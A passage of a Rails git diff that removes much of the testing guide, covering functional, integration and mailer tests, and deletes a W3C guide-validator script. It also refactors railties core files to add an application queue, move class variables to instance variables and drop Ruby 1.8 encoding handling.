-|+assert_response(type, message = nil)+                                             |Asserts that the response comes with a specific status code. You can specify +:success+ to indicate 200,  +:redirect+ to indicate 300-399, +:missing+ to indicate 404, or +:error+ to match the 500-599 range|
-|+assert_redirected_to(options = {}, message=nil)+                                  |Assert that the redirection options passed in match those of the redirect called in the latest action. This match can be partial, such that +assert_redirected_to(:controller => "weblog")+ will also match the redirection of +redirect_to(:controller => "weblog", :action => "show")+ and so on.|
-|+assert_template(expected = nil, message=nil)+                                     |Asserts that the request was rendered with the appropriate template file.|
-
-You'll see the usage of some of these assertions in the next chapter.
-
-h3. Functional Tests for Your Controllers
-
-In Rails, testing the various actions of a single controller is called writing functional tests for that controller. Controllers handle the incoming web requests to your application and eventually respond with a rendered view.
-
-h4. What to Include in your Functional Tests
-
-You should test for things such as:
-
-* was the web request successful?
-* was the user redirected to the right page?
-* was the user successfully authenticated?
-* was the correct object stored in the response template?
-* was the appropriate message displayed to the user in the view?
-
-Now that we have used Rails scaffold generator for our +Post+ resource, it has already created the controller code and functional tests. You can take look at the file +posts_controller_test.rb+ in the +test/functional+ directory.
-
-Let me take you through one such test, +test_should_get_index+ from the file +posts_controller_test.rb+.
-
-<ruby>
-test "should get index" do
-  get :index
-  assert_response :success
-  assert_not_nil assigns(:posts)
-end
-</ruby>
-
-In the +test_should_get_index+ test, Rails simulates a request on the action called +index+, making sure the request was successful and also ensuring that it assigns a valid +posts+ instance variable.
-
-The +get+ method kicks off the web request and populates the results into the response. It accepts 4 arguments:
-
-* The action of the controller you are requesting. This can be in the form of a string or a symbol.
-* An optional hash of request parameters to pass into the action (eg. query string parameters or post variables).
-* An optional hash of session variables to pass along with the request.
-* An optional hash of flash values.
-
-Example: Calling the +:show+ action, passing an +id+ of 12 as the +params+ and setting a +user_id+ of 5 in the session:
-
-<ruby>
-get(:show, {'id' => "12"}, {'user_id' => 5})
-</ruby>
-
-Another example: Calling the +:view+ action, passing an +id+ of 12 as the +params+, this time with no session, but with a flash message.
-
-<ruby>
-get(:view, {'id' => '12'}, nil, {'message' => 'booya!'})
-</ruby>
-
-NOTE: If you try running +test_should_create_post+ test from +posts_controller_test.rb+ it will fail on account of the newly added model level validation and rightly so.
-
-Let us modify +test_should_create_post+ test in +posts_controller_test.rb+ so that all our test pass:
-
-<ruby>
-test "should create post" do
-  assert_difference('Post.count') do
-    post :create, :post => { :title => 'Some title'}
-  end
-
-  assert_redirected_to post_path(assigns(:post))
-end
-</ruby>
-
-Now you can try running all the tests and they should pass.
-
-h4. Available Request Types for Functional Tests
-
-If you're familiar with the HTTP protocol, you'll know that +get+ is a type of request. There are 5 request types supported in Rails functional tests:
-
-* +get+
-* +post+
-* +put+
-* +head+
-* +delete+
-
-All of request types are methods that you can use, however, you'll probably end up using the first two more often than the others.
-
-NOTE: Functional tests do not verify whether the specified request type should be accepted by the action. Request types in this context exist to make your tests more descriptive.
-
-h4. The Four Hashes of the Apocalypse
-
-After a request has been made by using one of the 5 methods (+get+, +post+, etc.) and processed, you will have 4 Hash objects ready for use:
-
-* +assigns+ - Any objects that are stored as instance variables in actions for use in views.
-* +cookies+ - Any cookies that are set.
-* +flash+ - Any objects living in the flash.
-* +session+ - Any object living in session variables.
-
-As is the case with normal Hash objects, you can access the values by referencing the keys by string. You can also reference them by symbol name, except for +assigns+. For example:
-
-<ruby>
-flash["gordon"]               flash[:gordon]
-session["shmession"]          session[:shmession]
-cookies["are_good_for_u"]     cookies[:are_good_for_u]
-
-# Because you can't use assigns[:something] for historical reasons:
-assigns["something"]          assigns(:something)
-</ruby>
-
-h4. Instance Variables Available
-
-You also have access to three instance variables in your functional tests:
-
-* +@controller+ - The controller processing the request
-* +@request+ - The request
-* +@response+ - The response
-
-h4. A Fuller Functional Test Example
-
-Here's another example that uses +flash+, +assert_redirected_to+, and +assert_difference+:
-
-<ruby>
-test "should create post" do
-  assert_difference('Post.count') do
-    post :create, :post => { :title => 'Hi', :body => 'This is my first post.'}
-  end
-  assert_redirected_to post_path(assigns(:post))
-  assert_equal 'Post was successfully created.', flash[:notice]
-end
-</ruby>
-
-h4. Testing Views
-
-Testing the response to your request by asserting the presence of key HTML elements and their content is a useful way to test the views of your application. The +assert_select+ assertion allows you to do this by using a simple yet powerful syntax.
-
-NOTE: You may find references to +assert_tag+ in other documentation, but this is now deprecated in favor of +assert_select+.
-
-There are two forms of +assert_select+:
-
-+assert_select(selector, [equality], [message])+ ensures that the equality condition is met on the selected elements through the selector. The selector may be a CSS selector expression (String), an expression with substitution values, or an +HTML::Selector+ object.
-
-+assert_select(element, selector, [equality], [message])+ ensures that the equality condition is met on all the selected elements through the selector starting from the _element_ (instance of +HTML::Node+) and its descendants.
-
-For example, you could verify the contents on the title element in your response with:
-
-<ruby>
-assert_select 'title', "Welcome to Rails Testing Guide"
-</ruby>
-
-You can also use nested +assert_select+ blocks. In this case the inner +assert_select+ runs the assertion on the complete collection of elements selected by the outer +assert_select+ block:
-
-<ruby>
-assert_select 'ul.navigation' do
-  assert_select 'li.menu_item'
-end
-</ruby>
-
-Alternatively the collection of elements selected by the outer +assert_select+ may be iterated through so that +assert_select+ may be called separately for each element. Suppose for example that the response contains two ordered lists, each with four list elements then the following tests will both pass.
-
-<ruby>
-assert_select "ol" do |elements|
-  elements.each do |element|
-    assert_select element, "li", 4
-  end
-end
-
-assert_select "ol" do
-  assert_select "li", 8
-end
-</ruby>
-
-The +assert_select+ assertion is quite powerful. For more advanced usage, refer to its "documentation":http://api.rubyonrails.org/classes/ActionDispatch/Assertions/SelectorAssertions.html.
-
-h5. Additional View-Based Assertions
-
-There are more assertions that are primarily used in testing views:
-
-|_.Assertion                                                                        |_.Purpose|
-|+assert_select_email+                                                              |Allows you to make assertions on the body of an e-mail. |
-|+assert_select_encoded+                                                            |Allows you to make assertions on encoded HTML. It does this by un-encoding the contents of each element and then calling the block with all the un-encoded elements.|
-|+css_select(selector)+  or +css_select(element, selector)+                         |Returns an array of all the elements selected by the _selector_. In the second variant it first matches the base _element_ and tries to match the _selector_ expression on any of its children. If there are no matches both variants return an empty array.|
-
-Here's an example of using +assert_select_email+:
-
-<ruby>
-assert_select_email do
-  assert_select 'small', 'Please click the "Unsubscribe" link if you want to opt-out.'
-end
-</ruby>
-
-h3. Integration Testing
-
-Integration tests are used to test the interaction among any number of controllers. They are generally used to test important work flows within your application.
-
-Unlike Unit and Functional tests, integration tests have to be explicitly created under the 'test/integration' folder within your application. Rails provides a generator to create an integration test skeleton for you.
-
-<shell>
-$ rails generate integration_test user_flows
-      exists  test/integration/
-      create  test/integration/user_flows_test.rb
-</shell>
-
-Here's what a freshly-generated integration test looks like:
-
-<ruby>
-require 'test_helper'
-
-class UserFlowsTest < ActionDispatch::IntegrationTest
-  fixtures :all
-
-  # Replace this with your real tests.
-  test "the truth" do
-    assert true
-  end
-end
-</ruby>
-
-Integration tests inherit from +ActionDispatch::IntegrationTest+. This makes available some additional helpers to use in your integration tests. Also you need to explicitly include the fixtures to be made available to the test.
-
-h4. Helpers Available for Integration Tests
-
-In addition to the standard testing helpers, there are some additional helpers available to integration tests:
-
-|_.Helper                                                                           |_.Purpose|
-|+https?+                                                                           |Returns +true+ if the session is mimicking a secure HTTPS request.|
-|+https!+                                                                           |Allows you to mimic a secure HTTPS request.|
-|+host!+                                                                            |Allows you to set the host name to use in the next request.|
-|+redirect?+                                                                        |Returns +true+ if the last request was a redirect.|
-|+follow_redirect!+                                                                 |Follows a single redirect response.|
-|+request_via_redirect(http_method, path, [parameters], [headers])+                 |Allows you to make an HTTP request and follow any subsequent redirects.|
-|+post_via_redirect(path, [parameters], [headers])+                                 |Allows you to make an HTTP POST request and follow any subsequent redirects.|
-|+get_via_redirect(path, [parameters], [headers])+                                  |Allows you to make an HTTP GET request and follow any subsequent redirects.|
-|+put_via_redirect(path, [parameters], [headers])+                                  |Allows you to make an HTTP PUT request and follow any subsequent redirects.|
-|+delete_via_redirect(path, [parameters], [headers])+                               |Allows you to make an HTTP DELETE request and follow any subsequent redirects.|
-|+open_session+                                                                     |Opens a new session instance.|
-
-h4. Integration Testing Examples
-
-A simple integration test that exercises multiple controllers:
-
-<ruby>
-require 'test_helper'
-
-class UserFlowsTest < ActionDispatch::IntegrationTest
-  fixtures :users
-
-  test "login and browse site" do
-    # login via https
-    https!
-    get "/login"
-    assert_response :success
-
-    post_via_redirect "/login", :username => users(:avs).username, :password => users(:avs).password
-    assert_equal '/welcome', path
-    assert_equal 'Welcome avs!', flash[:notice]
-
-    https!(false)
-    get "/posts/all"
-    assert_response :success
-    assert assigns(:products)
-  end
-end
-</ruby>
-
-As you can see the integration test involves multiple controllers and exercises the entire stack from database to dispatcher. In addition you can have multiple session instances open simultaneously in a test and extend those instances with assertion methods to create a very powerful testing DSL (domain-specific language) just for your application.
-
-Here's an example of multiple sessions and custom DSL in an integration test
-
-<ruby>
-require 'test_helper'
-
-class UserFlowsTest < ActionDispatch::IntegrationTest
-  fixtures :users
-
-  test "login and browse site" do
-
-    # User avs logs in
-    avs = login(:avs)
-    # User guest logs in
-    guest = login(:guest)
-
-    # Both are now available in different sessions
-    assert_equal 'Welcome avs!', avs.flash[:notice]
-    assert_equal 'Welcome guest!', guest.flash[:notice]
-
-    # User avs can browse site
-    avs.browses_site
-    # User guest can browse site as well
-    guest.browses_site
-
-    # Continue with other assertions
-  end
-
-  private
-
-  module CustomDsl
-    def browses_site
-      get "/products/all"
-      assert_response :success
-      assert assigns(:products)
-    end
-  end
-
-  def login(user)
-    open_session do |sess|
-      sess.extend(CustomDsl)
-      u = users(user)
-      sess.https!
-      sess.post "/login", :username => u.username, :password => u.password
-      assert_equal '/welcome', path
-      sess.https!(false)
-    end
-  end
-end
-</ruby>
-
-h3. Rake Tasks for Running your Tests
-
-You don't need to set up and run your tests by hand on a test-by-test basis. Rails comes with a number of rake tasks to help in testing. The table below lists all rake tasks that come along in the default Rakefile when you initiate a Rails project.
-
-|_.Tasks                         |_.Description|
-|+rake test+                     |Runs all unit, functional and integration tests. You can also simply run +rake+ as the _test_ target is the default.|
-|+rake test:benchmark+           |Benchmark the performance tests|
-|+rake test:functionals+         |Runs all the functional tests from +test/functional+|
-|+rake test:integration+         |Runs all the integration tests from +test/integration+|
-|+rake test:plugins+             |Run all the plugin tests from +vendor/plugins/*/**/test+ (or specify with +PLUGIN=_name_+)|
-|+rake test:profile+             |Profile the performance tests|
-|+rake test:recent+              |Tests recent changes|
-|+rake test:uncommitted+         |Runs all the tests which are uncommitted. Supports Subversion and Git|
-|+rake test:units+               |Runs all the unit tests from +test/unit+|
-
-
-h3. Brief Note About +Test::Unit+
-
-Ruby ships with a boat load of libraries. One little gem of a library is +Test::Unit+, a framework for unit testing in Ruby. All the basic assertions discussed above are actually defined in +Test::Unit::Assertions+. The class +ActiveSupport::TestCase+ which we have been using in our unit and functional tests extends +Test::Unit::TestCase+, allowing
-us to use all of the basic assertions in our tests.
-
-NOTE: For more information on +Test::Unit+, refer to "test/unit Documentation":http://ruby-doc.org/stdlib/libdoc/test/unit/rdoc/
-
-h3. Setup and Teardown
-
-If you would like to run a block of code before the start of each test and another block of code after the end of each test you have two special callbacks for your rescue. Let's take note of this by looking at an example for our functional test in +Posts+ controller:
-
-<ruby>
-require 'test_helper'
-
-class PostsControllerTest < ActionController::TestCase
-
-  # called before every single test
-  def setup
-    @post = posts(:one)
-  end
-
-  # called after every single test
-  def teardown
-    # as we are re-initializing @post before every test
-    # setting it to nil here is not essential but I hope
-    # you understand how you can use the teardown method
-    @post = nil
-  end
-
-  test "should show post" do
-    get :show, :id => @post.id
-    assert_response :success
-  end
-
-  test "should destroy post" do
-    assert_difference('Post.count', -1) do
-      delete :destroy, :id => @post.id
-    end
-
-    assert_redirected_to posts_path
-  end
-
-end
-</ruby>
-
-Above, the +setup+ method is called before each test and so +@post+ is available for each of the tests. Rails implements +setup+ and +teardown+ as +ActiveSupport::Callbacks+. Which essentially means you need not only use +setup+ and +teardown+ as methods in your tests. You could specify them by using:
-
-* a block
-* a method (like in the earlier example)
-* a method name as a symbol
-* a lambda
-
-Let's see the earlier example by specifying +setup+ callback by specifying a method name as a symbol:
-
-<ruby>
-require '../test_helper'
-
-class PostsControllerTest < ActionController::TestCase
-
-  # called before every single test
-  setup :initialize_post
-
-  # called after every single test
-  def teardown
-    @post = nil
-  end
-
-  test "should show post" do
-    get :show, :id => @post.id
-    assert_response :success
-  end
-
-  test "should update post" do
-    put :update, :id => @post.id, :post => { }
-    assert_redirected_to post_path(assigns(:post))
-  end
-
-  test "should destroy post" do
-    assert_difference('Post.count', -1) do
-      delete :destroy, :id => @post.id
-    end
-
-    assert_redirected_to posts_path
-  end
-
-  private
-
-  def initialize_post
-    @post = posts(:one)
-  end
-
-end
-</ruby>
-
-h3. Testing Routes
-
-Like everything else in your Rails application, it is recommended that you test your routes. An example test for a route in the default +show+ action of +Posts+ controller above should look like:
-
-<ruby>
-test "should route to post" do
-  assert_routing '/posts/1', { :controller => "posts", :action => "show", :id => "1" }
-end
-</ruby>
-
-h3. Testing Your Mailers
-
-Testing mailer classes requires some specific tools to do a thorough job.
-
-h4. Keeping the Postman in Check
-
-Your mailer classes -- like every other part of your Rails application -- should be tested to ensure that it is working as expected.
-
-The goals of testing your mailer classes are to ensure that:
-
-* emails are being processed (created and sent)
-* the email content is correct (subject, sender, body, etc)
-* the right emails are being sent at the right times
-
-h5. From All Sides
-
-There are two aspects of testing your mailer, the unit tests and the functional tests. In the unit tests, you run the mailer in isolation with tightly controlled inputs and compare the output to a known value (a fixture.) In the functional tests you don't so much test the minute details produced by the mailer; instead, we test that our controllers and models are using the mailer in the right way. You test to prove that the right email was sent at the right time.
-
-h4. Unit Testing
-
-In order to test that your mailer is working as expected, you can use unit tests to compare the actual results of the mailer with pre-written examples of what should be produced.
-
-h5. Revenge of the Fixtures
-
-For the purposes of unit testing a mailer, fixtures are used to provide an example of how the output _should_ look. Because these are example emails, and not Active Record data like the other fixtures, they are kept in their own subdirectory apart from the other fixtures. The name of the directory within +test/fixtures+ directly corresponds to the name of the mailer. So, for a mailer named +UserMailer+, the fixtures should reside in +test/fixtures/user_mailer+ directory.
-
-When you generated your mailer, the generator creates stub fixtures for each of the mailers actions. If you didn't use the generator you'll have to make those files yourself.
-
-h5. The Basic Test Case
-
-Here's a unit test to test a mailer named +UserMailer+ whose action +invite+ is used to send an invitation to a friend. It is an adapted version of the base test created by the generator for an +invite+ action.
-
-<ruby>
-require 'test_helper'
-
-class UserMailerTest < ActionMailer::TestCase
-  tests UserMailer
-  test "invite" do
-    @expected.from    = 'me@example.com'
-    @expected.to      = 'friend@example.com'
-    @expected.subject = "You have been invited by #{@expected.from}"
-    @expected.body    = read_fixture('invite')
-    @expected.date    = Time.now
-
-    assert_equal @expected.encoded, UserMailer.create_invite('me@example.com', 'friend@example.com', @expected.date).encoded
-  end
-
-end
-</ruby>
-
-In this test, +@expected+ is an instance of +TMail::Mail+ that you can use in your tests. It is defined in +ActionMailer::TestCase+. The test above uses +@expected+ to construct an email, which it then asserts with email created by the custom mailer. The +invite+ fixture is the body of the email and is used as the sample content to assert against. The helper +read_fixture+ is used to read in the content from this file.
-
-Here's the content of the +invite+ fixture:
-
-<pre>
-Hi friend@example.com,
-
-You have been invited.
-
-Cheers!
-</pre>
-
-This is the right time to understand a little more about writing tests for your mailers. The line +ActionMailer::Base.delivery_method = :test+ in +config/environments/test.rb+ sets the delivery method to test mode so that email will not actually be delivered (useful to avoid spamming your users while testing) but instead it will be appended to an array (+ActionMailer::Base.deliveries+).
-
-However often in unit tests, mails will not actually be sent, simply constructed, as in the example above, where the precise content of the email is checked against what it should be.
-
-h4. Functional Testing
-
-Functional testing for mailers involves more than just checking that the email body, recipients and so forth are correct. In functional mail tests you call the mail deliver methods and check that the appropriate emails have been appended to the delivery list. It is fairly safe to assume that the deliver methods themselves do their job. You are probably more interested in whether your own business logic is sending emails when you expect them to go out. For example, you can check that the invite friend operation is sending an email appropriately:
-
-<ruby>
-require 'test_helper'
-
-class UserControllerTest < ActionController::TestCase
-  test "invite friend" do
-    assert_difference 'ActionMailer::Base.deliveries.size', +1 do
-      post :invite_friend, :email => 'friend@example.com'
-    end
-    invite_email = ActionMailer::Base.deliveries.first
-
-    assert_equal "You have been invited by me@example.com", invite_email.subject
-    assert_equal 'friend@example.com', invite_email.to[0]
-    assert_match(/Hi friend@example.com/, invite_email.body)
-  end
-end
-</ruby>
-
-h3. Other Testing Approaches
-
-The built-in +test/unit+ based testing is not the only way to test Rails applications. Rails developers have come up with a wide variety of other approaches and aids for testing, including:
-
-* "NullDB":http://avdi.org/projects/nulldb/, a way to speed up testing by avoiding database use.
-* "Factory Girl":https://github.com/thoughtbot/factory_girl/tree/master, a replacement for fixtures.
-* "Machinist":https://github.com/notahat/machinist/tree/master, another replacement for fixtures.
-* "Shoulda":http://www.thoughtbot.com/projects/shoulda, an extension to +test/unit+ with additional helpers, macros, and assertions.
-* "RSpec":http://relishapp.com/rspec, a behavior-driven development framework
diff --git a/railties/guides/w3c_validator.rb b/railties/guides/w3c_validator.rb
deleted file mode 100644
index f1fe1e0f33..0000000000
--- a/railties/guides/w3c_validator.rb
+++ /dev/null
@@ -1,91 +0,0 @@
-# ---------------------------------------------------------------------------
-#
-# This script validates the generated guides against the W3C Validator.
-#
-# Guides are taken from the output directory, from where all .html files are
-# submitted to the validator.
-#
-# This script is prepared to be launched from the railties directory as a rake task:
-#
-# rake validate_guides
-#
-# If nothing is specified, all files will be validated, but you can check just
-# some of them using this environment variable:
-#
-#   ONLY
-#     Use ONLY if you want to validate only one or a set of guides. Prefixes are
-#     enough:
-#
-#       # validates only association_basics.html
-#       ONLY=assoc rake validate_guides
-#
-#     Separate many using commas:
-#
-#       # validates only association_basics.html and migrations.html
-#       ONLY=assoc,migrations rake validate_guides
-#
-# ---------------------------------------------------------------------------
-
-require 'rubygems'
-require 'w3c_validators'
-include W3CValidators
-
-module RailsGuides
-  class Validator
-
-    def validate
-      validator = MarkupValidator.new
-      STDOUT.sync = true
-      errors_on_guides = {}
-
-      guides_to_validate.each do |f|
-        results = validator.validate_file(f)
-
-        if results.validity
-          print "."
-        else
-          print "E"
-          errors_on_guides[f] = results.errors
-        end
-      end
-
-      show_results(errors_on_guides)
-    end
-
-    private
-    def guides_to_validate
-      guides = Dir["./guides/output/*.html"]
-      guides.delete("./guides/output/layout.html")
-      ENV.key?('ONLY') ? select_only(guides) : guides
-    end
-
-    def select_only(guides)
-      prefixes = ENV['ONLY'].split(",").map(&:strip)
-      guides.select do |guide|
-        prefixes.any? {|p| guide.start_with?("./guides/output/#{p}")}
-      end
-    end
-
-    def show_results(error_list)
-      if error_list.size == 0
-        puts "\n\nAll checked guides validate OK!"
-      else
-        error_summary = error_detail = ""
-
-        error_list.each_pair do |name, errors|
-          error_summary += "\n  #{name}"
-          error_detail += "\n\n  #{name} has #{errors.size} validation error(s):\n"
-          errors.each do |error|
-            error_detail += "\n    "+error.to_s.gsub("\n", "")
-          end
-        end
-
-        puts "\n\nThere are #{error_list.size} guides with validation errors:\n" + error_summary
-        puts "\nHere are the detailed errors for each guide:" + error_detail
-      end
-    end
-
-  end
-end
-
-RailsGuides::Validator.new.validate
diff --git a/railties/lib/rails.rb b/railties/lib/rails.rb
index 73bdd0b552..670477f91a 100644
--- a/railties/lib/rails.rb
+++ b/railties/lib/rails.rb
@@ -5,40 +5,32 @@ require 'pathname'
 require 'active_support'
 require 'active_support/core_ext/kernel/reporting'
 require 'active_support/core_ext/array/extract_options'
-require 'active_support/core_ext/logger'
 
 require 'rails/application'
 require 'rails/version'
+require 'rails/deprecation'
 
 require 'active_support/railtie'
 require 'action_dispatch/railtie'
 
-# For Ruby 1.8, this initialization sets $KCODE to 'u' to enable the
-# multibyte safe operations. Plugin authors supporting other encodings
-# should override this behavior and set the relevant +default_charset+
-# on ActionController::Base.
-#
 # For Ruby 1.9, UTF-8 is the default internal and external encoding.
-if RUBY_VERSION < '1.9'
-  $KCODE='u'
-else
-  silence_warnings do
-    Encoding.default_external = Encoding::UTF_8
-    Encoding.default_internal = Encoding::UTF_8
-  end
+silence_warnings do
+  Encoding.default_external = Encoding::UTF_8
+  Encoding.default_internal = Encoding::UTF_8
 end
 
 module Rails
   autoload :Info, 'rails/info'
   autoload :InfoController, 'rails/info_controller'
+  autoload :Queueing, 'rails/queueing'
 
   class << self
     def application
-      @@application ||= nil
+      @application ||= nil
     end
 
     def application=(application)
-      @@application = application
+      @application = application
     end
 
     # The Configuration instance used to configure the Rails environment
@@ -46,28 +38,43 @@ module Rails
       application.config
     end
 
+    # Rails.queue is the application's queue. You can push a job onto
+    # the queue by:
+    #
+    #   Rails.queue.push job
+    #
+    # A job is an object that responds to +run+. Queue consumers will
+    # pop jobs off of the queue and invoke the queue's +run+ method.
+    #
+    # Note that depending on your queue implementation, jobs may not
+    # be executed in the same process as they were created in, and
+    # are never executed in the same thread as they were created in.
+    #
+    # If necessary, a queue implementation may need to serialize your
+    # job for distribution to another process. The documentation of
+    # your queue will specify the requirements for that serialization.
+    def queue
+      application.queue
+    end
+
     def initialize!
       application.initialize!
     end
 
     def initialized?
-      @@initialized || false
-    end
-
-    def initialized=(initialized)
-      @@initialized ||= initialized
+      application.initialized?
     end
 
     def logger
-      @@logger ||= nil
+      @logger ||= nil
     end
 
     def logger=(logger)
-      @@logger = logger
+      @logger = logger
     end
 
     def backtrace_cleaner
-      @@backtrace_cleaner ||= begin
+      @backtrace_cleaner ||= begin
         # Relies on Active Support, so we have to lazy load to postpone definition until AS has been loaded
         require 'rails/backtrace_cleaner'
         Rails::BacktraceCleaner.new
@@ -87,7 +94,11 @@ module Rails
     end
 
     def cache
-      RAILS_CACHE
+      @cache ||= nil
+    end
+
+    def cache=(cache)
+      @cache = cache
     end
 
     # Returns all rails groups for loading based on:
@@ -96,14 +107,11 @@ module Rails
     # * The environment variable RAILS_GROUPS;
     # * The optional envs given as argument and the hash with group dependencies;
     #
-    # == Examples
-    #
     #   groups :assets => [:development, :test]
     #
     #   # Returns
     #   # => [:default, :development, :assets] for Rails.env == "development"
     #   # => [:default, :production]           for Rails.env == "production"
-    #
     def groups(*groups)
       hash = groups.extract_options!
       env = Rails.env
diff --git a/railties/lib/rails/all.rb b/railties/lib/rails/all.rb
index 01ceb80972..eabe566829 100644
--- a/railties/lib/rails/all.rb
+++ b/railties/lib/rails/all.rb
@@ -4,9 +4,8 @@ require "rails"
   active_record
   action_controller
   action_mailer
-  active_resource
   rails/test_unit
-  sprockets
+  sprockets/rails
 ).each do |framework|
   begin
     require "#{framework}/railtie"
diff --git a/railties/lib/rails/application.rb b/railties/lib/rails/application.rb
index 82fffe86bb..ae872f2bb0 100644
--- a/railties/lib/rails/application.rb
+++ b/railties/lib/rails/application.rb
@@ -1,7 +1,4 @@
-require 'active_support/core_ext/hash/reverse_merge'
-require 'active_support/file_update_checker'
 require 'fileutils'
-require 'rails/plugin'
 require 'rails/engine'
 
 module Rails
@@ -10,7 +7,7 @@ module Rails
   #
   # == Initialization
   #
-  # Rails::Application is responsible for executing all railties, engines and plugin
+  # Rails::Application is responsible for executing all railties and engines
   # initializers. It also executes some bootstrap initializers (check
   # Rails::Application::Bootstrap) and finishing initializers, after all the others
   # are executed (check Rails::Application::Finisher).
@@ -19,8 +16,8 @@ module Rails
   #
   # Besides providing the same configuration as Rails::Engine and Rails::Railtie,
   # the application object has several specific configurations, for example
-  # "allow_concurrency", "cache_classes", "consider_all_requests_local", "filter_parameters",
-  # "logger", "reload_plugins" and so forth.
+  # "cache_classes", "consider_all_requests_local", "filter_parameters",
+  # "logger" and so forth.
   #
   # Check Rails::Application::Configuration to see them all.
   #
@@ -33,11 +30,29 @@ module Rails
   #
   # The Application is also responsible for building the middleware stack.
   #
+  # == Booting process
+  #
+  # The application is also responsible for setting up and executing the booting
+  # process. From the moment you require "config/application.rb" in your app,
+  # the booting process goes like this:
+  #
+  #   1)  require "config/boot.rb" to setup load paths
+  #   2)  require railties and engines
+  #   3)  Define Rails.application as "class MyApp::Application < Rails::Application"
+  #   4)  Run config.before_configuration callbacks
+  #   5)  Load config/environments/ENV.rb
+  #   6)  Run config.before_initialize callbacks
+  #   7)  Run Railtie#initializer defined by railties, engines and application.
+  #       One by one, each engine sets up its load paths, routes and runs its config/initializers/* files.
+  #   9)  Custom Railtie#initializers added by railties, engines and applications are executed
+  #   10) Build the middleware stack and run to_prepare callbacks
+  #   11) Run config.before_eager_load and eager_load if cache classes is true
+  #   12) Run config.after_initialize callbacks
+  #
   class Application < Engine
     autoload :Bootstrap,      'rails/application/bootstrap'
     autoload :Configuration,  'rails/application/configuration'
     autoload :Finisher,       'rails/application/finisher'
-    autoload :Railties,       'rails/application/railties'
     autoload :RoutesReloader, 'rails/application/routes_reloader'
 
     class << self
@@ -50,16 +65,67 @@ module Rails
       end
     end
 
-    attr_accessor :assets, :sandbox
+    attr_accessor :assets, :sandbox, :queue_consumer
     alias_method :sandbox?, :sandbox
+    attr_reader :reloaders
+    attr_writer :queue
 
     delegate :default_url_options, :default_url_options=, :to => :routes
 
     def initialize
       super
-      @initialized = false
+      @initialized      = false
+      @reloaders        = []
+      @routes_reloader  = nil
+      @env_config       = nil
+      @ordered_railties = nil
+      @railties         = nil
+      @queue            = nil
+    end
+
+    # Returns true if the application is initialized.
+    def initialized?
+      @initialized
+    end
+
+    # Implements call according to the Rack API. It simples
+    # dispatch the request to the underlying middleware stack.
+    def call(env)
+      env["ORIGINAL_FULLPATH"] = build_original_fullpath(env)
+      super(env)
+    end
+
+    # Reload application routes regardless if they changed or not.
+    def reload_routes!
+      routes_reloader.reload!
     end
 
+    # Stores some of the Rails initial environment parameters which
+    # will be used by middlewares and engines to configure themselves.
+    # Currently stores:
+    #
+    #   * "action_dispatch.parameter_filter"         => config.filter_parameters,
+    #   * "action_dispatch.secret_token"             => config.secret_token,
+    #   * "action_dispatch.show_exceptions"          => config.action_dispatch.show_exceptions,
+    #   * "action_dispatch.show_detailed_exceptions" => config.consider_all_requests_local,
+    #   * "action_dispatch.logger"                   => Rails.logger,
+    #   * "action_dispatch.backtrace_cleaner"        => Rails.backtrace_cleaner
+    #
+    # These parameters will be used by middlewares and engines to configure themselves
+    #
+    def env_config
+      @env_config ||= super.merge({
+        "action_dispatch.parameter_filter" => config.filter_parameters,
+        "action_dispatch.secret_token" => config.secret_token,
+        "action_dispatch.show_exceptions" => config.action_dispatch.show_exceptions,
+        "action_dispatch.show_detailed_exceptions" => config.consider_all_requests_local,
+        "action_dispatch.logger" => Rails.logger,
+        "action_dispatch.backtrace_cleaner" => Rails.backtrace_cleaner
+      })
+    end
+
+    ## Rails internal API
+
     # This method is called just after an application inherits from Rails::Application,
     # allowing the developer to load classes in lib and use them during application
     # configuration.
@@ -74,7 +140,7 @@ module Rails
     # Rails application, you will need to add lib to $LOAD_PATH on your own in case
     # you need to load files in lib/ during the application configuration as well.
     def add_lib_to_load_path! #:nodoc:
-      path = config.root.join('lib').to_s
+      path = File.join config.root, 'lib'
       $LOAD_PATH.unshift(path) if File.exists?(path)
     end
 
@@ -83,105 +149,180 @@ module Rails
       require environment if environment
     end
 
-    def reload_routes!
-      routes_reloader.reload!
+    def routes_reloader #:nodoc:
+      @routes_reloader ||= RoutesReloader.new
     end
 
-    def routes_reloader
-      @routes_reloader ||= RoutesReloader.new
+    # Returns an array of file paths appended with a hash of
+    # directories-extensions suitable for ActiveSupport::FileUpdateChecker
+    # API.
+    def watchable_args #:nodoc:
+      files, dirs = config.watchable_files.dup, config.watchable_dirs.dup
+
+      ActiveSupport::Dependencies.autoload_paths.each do |path|
+        dirs[path.to_s] = [:rb]
+      end
+
+      [files, dirs]
     end
 
-    def initialize!(group=:default)
+    # Initialize the application passing the given group. By default, the
+    # group is :default but sprockets precompilation passes group equals
+    # to assets if initialize_on_precompile is false to avoid booting the
+    # whole app.
+    def initialize!(group=:default) #:nodoc:
       raise "Application has been already initialized." if @initialized
       run_initializers(group, self)
       @initialized = true
       self
     end
 
-    def load_tasks(app=self)
-      initialize_tasks
-      super
-      self
+    def initializers #:nodoc:
+      Bootstrap.initializers_for(self) +
+      railties_initializers(super) +
+      Finisher.initializers_for(self)
     end
 
-    def load_console(app=self)
-      initialize_console
-      super
-      self
+    def config #:nodoc:
+      @config ||= Application::Configuration.new(find_root_with_flag("config.ru", Dir.pwd))
     end
 
-    # Rails.application.env_config stores some of the Rails initial environment parameters.
-    # Currently stores:
-    #
-    #   * action_dispatch.parameter_filter" => config.filter_parameters,
-    #   * action_dispatch.secret_token"     => config.secret_token,
-    #   * action_dispatch.show_exceptions"  => config.action_dispatch.show_exceptions
-    #
-    # These parameters will be used by middlewares and engines to configure themselves.
-    #
-    def env_config
-      @env_config ||= super.merge({
-        "action_dispatch.parameter_filter" => config.filter_parameters,
-        "action_dispatch.secret_token" => config.secret_token,
-        "action_dispatch.show_exceptions" => config.action_dispatch.show_exceptions
-      })
+    def queue #:nodoc:
+      @queue ||= Queueing::Container.new(build_queue)
     end
 
-    def initializers
-      Bootstrap.initializers_for(self) +
-      super +
-      Finisher.initializers_for(self)
+    def build_queue #:nodoc:
+      config.queue.new
     end
 
-    def config
-      @config ||= Application::Configuration.new(find_root_with_flag("config.ru", Dir.pwd))
+    def to_app #:nodoc:
+      self
     end
 
-    def to_app
-      self
+    def helpers_paths #:nodoc:
+      config.helpers_paths
+    end
+
+    def railties #:nodoc:
+      @railties ||= Rails::Railtie.subclasses.map(&:instance) +
+        Rails::Engine.subclasses.map(&:instance)
     end
 
   protected
 
     alias :build_middleware_stack :app
 
-    def default_middleware_stack
+    def run_tasks_blocks(app) #:nodoc:
+      railties.each { |r| r.run_tasks_blocks(app) }
+      super
